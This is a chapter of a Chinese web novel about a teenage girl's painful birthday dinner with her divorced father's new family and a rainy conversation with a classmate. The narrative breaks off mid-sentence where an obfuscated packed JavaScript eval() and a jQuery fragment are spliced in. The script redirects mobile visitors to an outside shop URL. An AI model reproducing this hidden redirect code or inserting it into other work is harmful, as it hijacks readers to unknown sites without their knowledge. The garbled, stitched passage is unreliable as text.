30. chapter 30
    “我来哄娇娇,你先别管了啊。”明事理的女人赶紧推了推枫仰常。

    眼神示意他,他还有一个女儿在场呢。

    “晓晓来了。”枫仰常这才反应过来,脸上流露出几分歉意,“抱歉啊晓晓,你妹妹比较粘爸爸,一走开就哭个不停,来快坐,别傻站着了,爸爸特意点了你最爱吃的刺身,坐吧坐吧,都好久不见了。”

    枫晓强迫自己微笑。这几年枫仰常升了职,从原来的市级爬到了现在的省级,工作上已经够忙,枫晓不想因为自己再给爸爸添麻烦。

    她把礼物送了出去,“爸爸,这是给您买的礼物,祝您生日快乐,身体健康,事业顺利。我不知道还有人在,所以就只买了一份,没有给阿姨和小妹妹买。”

    女人一边抱着孩子一边充满歉意地解释道:“晓晓,你不用这么客气啊,本来我是打算带娇娇在家的,但娇娇看她爸一离开就开始闹,实在没办法了我才带她一块过来,不会给你添麻烦吧,你不用管我们哦,你跟你爸好好聊聊天,这么多年他很想你的。”

    枫娇,掌中娇。

    她闪烁着圆溜溜的大眼,一边好奇地打探坐在她斜对面的女孩,一边腼腆地钻进女人怀里撒娇。

    又可爱又漂亮,一看就是在爱里长大的孩子。

    撒娇是拥有爱的产物,哭是因为知道自己被爱。

    真好。

    可是枫晓心里很不是滋味。

    小的时候她一直被李珍和枫仰常当做男孩子养,因为男孩子打理和照顾起来更节省时间。

    她的童年没有长长的柔软的黑发,没有漂亮的优雅的裙子。

    凡是遇到什么问题都会自己想办法解决,受了委屈也烂在肚子里不敢说。

    甚至不敢在李珍和枫仰常面前留一滴眼泪,因为她知道父母都很忙,没有人有时间安抚她的情绪,只能自己慢慢消化慢慢开导。

    为什么等她长大了她的爸爸就开始有时间把另一个女儿当做小公主那样宠爱了,是因为等她长大了他就不忙了吗,是因为她长大了工作就不重要了吗,她长大了大人就不用赚钱了吗?

    枫晓假装高兴地“嗯”了一句,然后假装鞋带开了弯腰去系鞋带。

    趁着系鞋带的时间悄悄把眼泪和鼻涕擦赶紧,甚至都顾不上这条没穿几回的裙子,只好先收拾自己的残局。

    枫仰常说:“在学校过得还开心吗?”

    枫晓点头,“挺好的。”

    “我跟你们校长有点交集,教育局的局长呢跟我关系也蛮好,一起吃过几顿饭打过几次球,我之前呢跟你们校长也打过招呼,政教处那个李叔叔你认识吧,我也打过招呼的,你要是在学校有什么......”

    “爸爸。”枫晓眨了眨酸涩的眼,打断他:“我在学校都挺好的,您别为我操心这么多了,真的,我每天就是正常上下学,然后认真听课,同学对我也很好,不需要刻意为我做什么,我就是......”

    就是有点怀念以前一家人在一起的日子。

    枫仰常以为她遇到了什么事,说:“就是什么?大胆说,遇到委屈了爸爸给你做主,别怕。”

    “我就是有时候作业太多了,要写到很晚,白天早上还要早起上早自习,实在太困了。”她说着说着就笑了出来,自己都忍不住为这个借口感到好笑。

    在大人看来这只不过是小孩逃避写作业的正常反应,没往深处想。

    枫仰常思考了几秒,道:“没事,这个作业的时候回头我跟你们校长说两句,让你们学校老师少布置点作业,才高一也不需要这么大的压力,很多人到了高三才开始努力,你才高一,最主要是好好吃饭,正是长个子的时候,吃饭一定要好好吃,该花花对吧,爸爸每个月给你打两千块到卡里,你妈要是给钱给少了不够用你就再问爸爸要。”

    “哇——”刚刚还好好的枫娇突然又大哭起来,女人求助地望向枫仰常,枫仰常赶紧起身把枫娇抱在怀里,这副慈爱温柔的模样枫晓从未见过。

    枫娇被枫仰常抱起后立马就止住了哭声。小孩对大人的爱意是很敏感的,她总能精确地感受到自己的爸妈把爱给了谁。

    枫晓站起身,“抱歉,我去趟厕所。”

    “好,刚好等你回来吃刺身,爸爸记得你最爱吃了,特意把这里的刺身全都点了一份。”

    枫晓:“好。”

    枫仰常以为枫晓喜欢吃刺身的原因大概是因为她生日那次刺身吃得最多。

    但那次是因为枫仰常和李珍一言不合又开始吵架,整个氛围弥漫着浓厚的硝烟气息,枫晓不敢说话,只好一直吃摆在她面前的那两盘刺身。

    没想到他还记得,可是他记的却不是正确的。

    枫晓来到洗手池前,用手装水洗了把脸,冷水冲散了脑袋里的热气,看清镜子里的人后,这才觉得轻松不少。

    嘴角微微下拉着,整个人看起来差了点精气神。

    眼睛有点红,但可以说是做完没睡好导致的,不过鼻尖的红就不好解释,好在没人询问她缘由,这样才不显得她有多狼狈。

    今天是个好天气,没多大太阳,温度适宜,在夏天很难得有这样的适合出门的机会。

    她深深呼了口气,刚打算回去,没想到刚下楼的那一瞬间,余光瞥见了一抹熟悉的影子。

    陈漾?

    他也在这里吃饭?

    “阿漾,你要记得妈妈最爱你了,妈妈的全部希望都压在你身上,你要争口气,以后进了你爸的公司才好拿到股份,千万别便宜了外面那个狐狸精跟她小狐狸精,那都是来抢咱们家家产的你知道吗,妈妈最喜欢你了,你一定要好好学习,考班上第一名,只有考到第一名才能让你爸对你刮目相看,把那两个人赶出去我们陈家的大门。”

    枫晓疑惑地望向他那个方向。

    他靠在椅背上耸拉着脑袋,桌下空间其实不小,但对他来说不够,两条长腿因自然敞开。

    穿了件黑色的宽松卫衣,戴着一定鸭舌帽,上面只有一个logo,低着脑袋,对面前那个女人的话令他无比疲惫。

    “妈,今天是我生日。”终于,他不耐烦地打断了对面女人的喋喋不休。

    女人面色一怔,这才后知后觉,“对对对,今天生日,不聊那两个晦气的人,蛋糕呢,切蛋糕,妈妈特意给你定制的。以前你生日的时候妈妈都会让人给你准备一个生日蛋糕,你看你那死没良心的爸什么时候对你上过心,自己亲生儿子过生日打发几个子儿都完事了,每回都这样,整天也不回家吃饭,肯定是让外面的狐狸精勾去了,我还不知道他,外面的野花哪有家里的香啊,阿漾啊你千万不要学你爸,从生下你开始你爸就没照顾过你一天,当初要不是你外公生意场上急救,哪还有今天的他啊。算了算了不说他,今天我宝贝儿子生日,说这种晦气之人做什么,不聊他,这种人将来死了都不用多看一眼。”

    兜兜转转都回到了男人身上,女人一边说着不聊男人,一边话题里却全是关于男人。

    陈漾脑袋后仰,深吸了口气,最后终于像下定决心了一般坐直身体,用力地撮了把脸,机械地拿起勺子戳了一勺奶油塞到嘴里。

    “阿漾啊,妈妈的希望都放在你身上了,最近在学校怎么样啊?有没有考试,考得怎么样?听说那狐狸精的儿子今年还上了你们学校那个最好的班,你怎么没上啊?妈妈记得你以前成绩很好的,这两年怎么回事,是不是你爸又苛责你了?妈妈跟你说越是对你不好你越是好努力知道吗,做出点成绩给他看,让他知道外面的野种根本比不上家里万分之一——”

    “妈,我去上个厕所。”终于,陈漾索性站起身,毫不留情地截断了女人的话。

    她离得远,听不见双方说了什么,但能看出双方的交谈并不愉快。

    看到陈漾蓦地站起身,枫晓心中警铃顿响,刚想离开,结果还没来得及转身,陈漾就已经转身往这边走了过来,径直抓到了一边“偷听”的小贼。

    家庭这两个字犹如一个看不见的圈,把里面的人聚集在一起,又将这个圈以外的人隔开。

    独立的个人开始来往时,家庭就成了隐形的不可侵犯的存在。

    就算是处了三四年的好朋友,枫晓也从未跟人说过自己的家境,可没想到这次自己误打误撞竟然听到了有关陈漾的秘密。

    对于不在同一个圈的人来说身后的家是一件相对私密的事情,起码对枫晓来说,如果有人知道了她家里的情况,哪怕只是回家吃个饭,那也是对私人领土的一种侵占。

    关系好一点则代表对对方的认可,表明她开始接纳对方进入自己的生活,所以对于不小心听见陈漾跟他妈妈谈话这一事,显然枫晓十分局促,掉头走开显得太过心虚,好像他俩之间的对话是多么见不得人的事情。

    上前关心又过于虚伪,似乎在施舍自己的同情,不知不觉中把对方的地位放在了地位,但其实对方不一定需要这份“可怜”。

    思考再三,她决定假装没听见,什么事情都没发生那样,陈漾单手插兜,面无表情地从她身边走过,像是事先约定好,两人保持着无形的默契,谁也没说话。

    回到位子上,菜已经上了满满一桌,旁边有一个三层蛋糕。按照枫晓对他的了解,枫仰常对甜点没多少研究,中年男人都不太爱吃甜的,更不可能有心到给自己点个生日蛋糕,所以这蛋糕应该是旁边的女人特意点的。

    样式并不复杂,很符合枫仰常的风格,简约又不乏用心,可以看出女人是个顾家的人。

    大概是考虑到枫晓的心理感受,蛋糕上只写了生日快乐这简单的四个字,既起到了祝福的作用,也没有多添其他不必要的信息,让枫晓尴尬。

    这跟李珍不太一样。李珍是个事业心很强的女人,对家的概念些微稀薄,常常与枫仰常在家的观念上产生分歧。

    或许枫仰常正是想要这种温柔如水的女人照顾整个家庭,可是,可是枫晓还是难过得要死。

    女人很好,好到让她不敢在内心责怪她和枫仰常,她的所有情绪在她面前都显得如此无理取闹和不知满足。

    看到枫晓回来了,枫仰常把枫娇让给女人抱着,然后边招呼枫晓边坐到对面。

    “晓晓,爸爸好久没跟你吃过饭了,今天爸爸很高兴,有什么喜欢吃的再跟爸爸说,有什么东西要买的爸爸待会给你买,下午没什么事情,咱们还可以去街上逛逛,你看有没有想买的衣服鞋子,对了你不是喜欢拍照么,还在拍吗?”

    枫仰常一直给枫晓碗里夹菜,像是要把过去的愧疚或是今天两个对枫晓而言就是不速之客的愧疚要一次性弥补,很快碗里就堆成了一座高高的小山。

    枫晓说:“您不用给我夹菜,我自己能行。我参加了学校的新闻部,分在摄影组,一周有三天可以跟学长搭档去拍照。”

    “晓晓真厉害,不仅成绩好,能考上行知的实验班,还参加了新闻部呢,学习和爱好两不误,挺好的。”女人温声道。

    枫晓抿了抿唇,不是她不愿意给女人面子,实在是心里头还很乱。

    她暂且没办法在女人面前表现得一脸风轻云淡,轻松自带的样子,她吃了只甜虾,轻轻说:“谢谢阿姨。”

    归根结底,还是心底有些介意,有隔阂。

    “喜欢摄影是个好事儿,有一个爱好对吧,目标明确,你要是喜欢到时候考那个中传,我底下有也有中传毕业的,那个到时候要是想走艺考这条路也行,安排人给你辅导一下这个没问题的,很简单。”

    “嗯。”

    枫仰常一直想尽办法跟她说话,官场味十足,多次想帮枫晓打通关系想让她在学校多被照顾一些,但枫晓却对此很是抵触,她去学校是上课学习的,又不是去考察民情的,需要被照顾什么?

    她不想因此被同学议论说是检察长的女儿,靠着铁一般的关系做什么都引人瞩目,把自己的努力被一句话轻描淡写地盖过去。

    枫娇很不好带,很爱哭鼻子,枫仰常说两三句就得停下来去哄她,大人对这种小孩之间的这种暗暗较劲早已麻木或是根本察觉不出来,但枫晓明白,三四岁的小孩已经有了自己的意识,危机意识让她乐此不疲地通过哭泣这样的方式博取关爱,说得再明白点就是恃宠而骄,并且屡试不爽。

    一顿饭下来,枫晓都没说几句话,女人见机行事,抱着枫娇提前离开,把最后一点私人空间留给了父女二人。

    枫仰常揉了揉眉心,看得出来枫娇让他倍感头疼,但那是甘之如饴的头疼,并没有一丝不耐烦,也没有用工作或“爸爸很忙”这样的理由搪塞她。

    他叹了口气,脸上流露出几分愧色,“晓晓,你妹妹她被我跟你阿姨宠坏了,有点调皮,你不要往心里去。”

    枫晓佯装轻松道:“没关系爸爸,我又不是三岁小孩,这些我都明白的。”

    “晓晓长大了,是个懂事的好孩子。”

    她捏着吸管笑了笑。

    从小到大,懂事和好孩子是她听过的最多的两个词。

    可什么是懂事?百分之百的言听计从是懂事,还是牺牲自己的喜怒哀乐替大人着想是懂事?

    好孩子和坏孩子之间的差别又是什么。

    假如她今天质问枫仰常为什么不事先告诉她还有人会来是不是坏孩子。

    假如刚才吃饭的时候她丢掉筷子朝枫娇大吼“要是再哭就回家去”是不是坏孩子?

    她脑袋里有很多想法,但都只敢藏在心里。

    如果真这样说,恐怕会让枫仰常下不来台。

    她很期待跟爸爸的见面,所以不愿意让爸爸为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321760|138100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    难。

    “她、她几岁了?”

    “三岁半,还有两个月就四岁了,快到上幼儿园的年纪了,把她送到幼儿园我跟你阿姨就能省点心了。”

    枫晓点了点头。快四岁了,时间过得好快,没想到他们两个都离婚这么久了,枫仰常已经有了自己的新家庭,而且很快她所谓的妹妹就要上学,然后长得跟她一样大。

    不过跟她不一样的是,枫仰常原意花时间陪她,她也可以在爸妈的怀里撒娇,说今天有什么事情不开心。

    “我妈她......她到现在都还是一个人呢。”枫晓突然很心疼李珍。

    为什么妈妈可以一个人,爸爸却很快地有了新家庭。

    离婚后她不是没有幻想过两个人复婚,她甚至以为李珍一直没有新的男朋友是因为心里还装着她爸,而且离婚这个事只是因为两个人都太要强,既然这样,那各自退一步不就好了吗,说不定分开两年气消了发现爱的还是彼此就又复婚了,然后他们一家三口又回到从前。

    不过现实是残酷的,事情不可能按照一个小孩的私心发展。

    “晓晓,我跟你妈分开是经过慎重考虑的,大人之间的事情很复杂,一两句话说不清,爸爸不期望你现在能明白,但就算爸妈分开了,你依旧是爸爸妈妈的好孩子。”

    枫晓知道自己没什么好说的,说什么都是徒劳了。

    她没再就这个话题回话,两个人又聊了些七七八八的事情。

    生活、学习,最后分开是一通临时的电话,枫仰常很抱歉,“晓晓,爸爸工作上突然有点急事要处理,恐怕不能送你回去了。”

    她摇摇头,“我自己回去就好。”

    “有什么需要给爸爸打电话,钱不够问爸爸要,别省着知道吗?”

    “嗯。”

    枫仰常走后,天空突然下起雨,刚开始还是淅淅沥沥的小雨,越到后面竟成了倾盆大雨,她坐在玻璃后,等到跑到门口的时候发现已经来不及了,雨实在太大,没办法只要站在屋檐下躲雨。

    “天气预报果然没几次准的,昨天晚上还说今天全天晴天,现在却突然下大雨了。”

    枫晓闻言,侧过头去看他。

    陈漾也刚从餐厅出来,身后空荡荡,只有从后面路过的几个同样抱怨这天气变化无常的路人,看来跟他吃饭的人也因为有事先走了。

    他神色淡淡的,正常得有些不正常。连刚才最明显的不耐烦都没了,好像什么都没发生过一样,跟没事人并无两样。

    枫晓望着灰蒙蒙的天,“唔”了一下,说:“看这样子雨一时半会是停不了的。”

    她耸了下肩膀,语气听上去挺释然的,“没办法了,只好在这里等雨停了。”

    “给你。”

    她低头一看,从陈漾手里递来一张纸巾。

    “嗯?”她有些吃惊,躲在屋檐下又没淋到雨,给她至今做什么?

    不过她还是第一时间接了过来,并柔声说了声谢谢。

    陈漾语气凉凉的,像这场突然起来的雨,清透,又带几分飘渺。

    “为什么哭?”

    他看见了?

    连坐在对面的枫仰常都没发现,他们就擦肩而过的一瞬间,就被陈漾发现了眼底的红血丝。

    “一点小事。”

    “你看起来可不像是一点小事就会哭鼻子的人。”

    “就是一点小事,没什么大不了的。”

    “说不出口的小事就不是小事了。”

    枫晓:......

    看出她的确不想说了,陈漾耸耸肩,放弃继续追问。

    “算了,不想说就不说。大人有时候挺狗的,你不需要把一切都揽自己身上,你只管享受他们给你的一切就好了,至于其他的就当耳旁风,开心过一天是一天,不开心过一天也是一天,这两个选择放一起,你会怎么选?”

    枫晓没说话。

    陈漾也根本没期待她有什么回答,两个人同时沉默了长达三分钟。

    他两个手插裤兜里,帽檐遮住了他小半张脸,看上去酷酷的,信手拈来的气质一点也不显刻意。

    良久后,陈漾斜过视线看了眼差不多刚到自己肩膀的枫晓,突然来了句:“你们女生夏天出门不都会带把伞在身上么,你居然没有。”

    “......”枫晓十分无语,鼓起一边的腮帮子,说:“你这是刻板印象,有人出门带伞自然就有人出门不带伞,这有什么奇怪的。”

    还居然。

    居然什么......

    “你这话倒是提醒我了。”

    “什么?”

    “你怎么不戴眼镜?”

    哈?

    这是什么问题。

    枫晓微微蹙起眉头,脸上闪过一丝茫然,身体也无意识对着陈漾转过去。

    “我视力还行,平时不用戴眼镜出门也能看清路口的红绿灯。”

    陈漾挑眉,眼里闪过一丝意外:“你居然不近视?”

    “很奇怪吗?”

    “这算不算一种天赋?无论怎么用眼也能保持双眼五点零的视力。”

    枫晓还真认真地思考了半天。

    陈漾见她这副上心的模样,嗤了一声,“我还以为像你们这类人都是戴眼镜的四眼仔,这算不算另一种刻板印象?”

    他刚才是不是在嘲笑自己......枫晓恹恹地抬了抬眼皮,心底默默地呵呵一句。

    陈漾刚才说四眼仔,搞半天他在打趣她呢。

    枫晓说:“我们这类人是什么样的人?”

    “老师的亲儿子,同学的好榜样,别人口中的孩子,挑灯夜读,废寝忘食,最后也就全校第十,连第一都拿不到。”

    那声音像是从鼻子里使劲哼出来的,带着浓浓的不屑。

    枫晓不明所以地望向他,狭长的眸子遥遥地望向马路中央,因为大雨的突然而至,路上行人被打得措手不及,纷纷抱着头像无头苍蝇那样四处奔跑。

    “为什么这么说?”他分明有特意指谁吧。

    但是全校第十,只的是这次摸底考试,还是中考排名?

    “随便说说,后天就要考试了,紧张。”

    要是梁桓宇在场,对陈漾说的“紧张”两个字肯定下巴都要惊掉了。

    拜托,全校任何一个人,就算是全校第一紧张,陈漾这家伙都不可能紧张。

    对于平时这种大大小小的考试,班上靠前的势在必得用不着急,班上垫底的反正也就那样急也没用,倒是中间那一块不上不下的不敢有一点放松,譬如枫晓就跟热锅上的蚂蚁急得团团转。

    “是嘛?”枫晓讷讷地说。

    陈漾深深望了她一眼,最后,一脚踩进路面的水坑里。

    “雨停了,回家。”